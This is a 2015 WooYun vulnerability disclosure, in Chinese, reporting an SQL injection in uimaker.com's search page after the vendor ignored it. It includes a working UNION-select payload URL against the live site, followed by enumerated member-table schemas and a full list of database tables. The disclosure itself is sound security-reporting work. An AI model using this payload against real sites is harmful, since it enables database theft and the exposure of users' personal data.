当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0125663

漏洞标题：uimaker主站SQL注入，导致全站用户信息泄漏

相关厂商：uimaker.com

漏洞作者： 渔村安全实验室

提交时间：2015-07-09 15:57

修复时间：2015-07-14 15:58

公开时间：2015-07-14 15:58

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-09： 细节已通知厂商并且等待厂商处理中
2015-07-14： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

注入参数：q
payload:http://www.uimaker.com/search.php?q=99999.9'+union+all+select+1,2,3,4,5,6,7,concat(0x7e,0x21,database(),0x21,0x7e,version(),0x21),8,9,10,11,12,13,14,15,16,17,18,19--+a&=

2015-07-09_151505.png


dede_member
	count:89236
		mid
		mtype
		userid
		pwd
		uname
		sex
		rank
		uptime
		exptime
		money
		email
		scores
		matt
		spacesta
		face
		safequestion
		safeanswer
		jointime
		joinip
		logintime
		loginip
		checkmail
		new_zhiye
		new_sheng
		new_shi
		new_birthday
		new_school
		new_site
		new_QQ
		fromid
		fromuser
		fromzt
		fromurl
	dede_member_person
	count:95896
		mid
		onlynet
		sex
		uname
		qq
		msn
		tel
		mobile
		place
		oldplace
		birthday
		star
		income
		education
		height
		bodytype
		blood
		vocation
		smoke
		marital
		house
		drink
		datingtype
		language
		nature
		lovemsg
		address
		uptime


可以看到涉及的用户数量上快20W了
以下为部分的用户信息资料

2015-07-09_152018.png


部分数据库表项结构：

a0504100607
	dede_addonarticle
	dede_addonimages
	dede_addoninfos
	dede_addonshop
	dede_addonsoft
	dede_addonspec
	dede_admin
	dede_admintype
	dede_advancedsearch
	dede_arcatt
	dede_arccache
	dede_archives
	dede_arcmulti
	dede_arcrank
	dede_arctiny
	dede_arctype
	dede_area
	dede_ask
	dede_askanswer
	dede_asktype
	dede_channeltype
	dede_co_htmls
	dede_co_mediaurls
	dede_co_note
	dede_co_onepage
	dede_co_urls
	dede_diyforms
	dede_log
	dede_mail_order
	dede_mail_title
	dede_member
	dede_member_company
	dede_member_feed
	dede_member_fensi
	dede_member_flink
	dede_member_friends
	dede_member_group
	dede_member_guestbook
	dede_member_model
	dede_member_msg
	dede_member_operation
	dede_member_person
	dede_member_pms
	dede_member_qzonelogin
	dede_member_snsmsg
	dede_member_space
	dede_member_stow
	dede_member_stowtype
	dede_member_tj
	dede_member_type
	dede_member_ub
	dede_member_vhistory
	dede_member_xly
	dede_moneycard_record
	dede_moneycard_type
	dede_mtypes
	dede_multiserv_config
	dede_myad
	dede_myadtype
	dede_mytag
	dede_payment
	dede_plus
	dede_purview
	dede_pwd_tmp
	dede_ratings
	dede_search_cache
	dede_search_keywords
	dede_sgpage
	dede_shops_delivery
	dede_shops_orders
	dede_shops_paytype
	dede_shops_products
	dede_shops_userinfo
	dede_softconfig
	dede_sphinx
	dede_stepselect
	dede_surplus_log
	dede_sys_enum
	dede_sys_module
	dede_sys_set
	dede_sys_task
	dede_sysconfig
	dede_tagindex
	dede_taglist

漏洞证明：

修复方案：

版权声明：转载请注明来源 渔村安全实验室@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-07-14 15:58

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无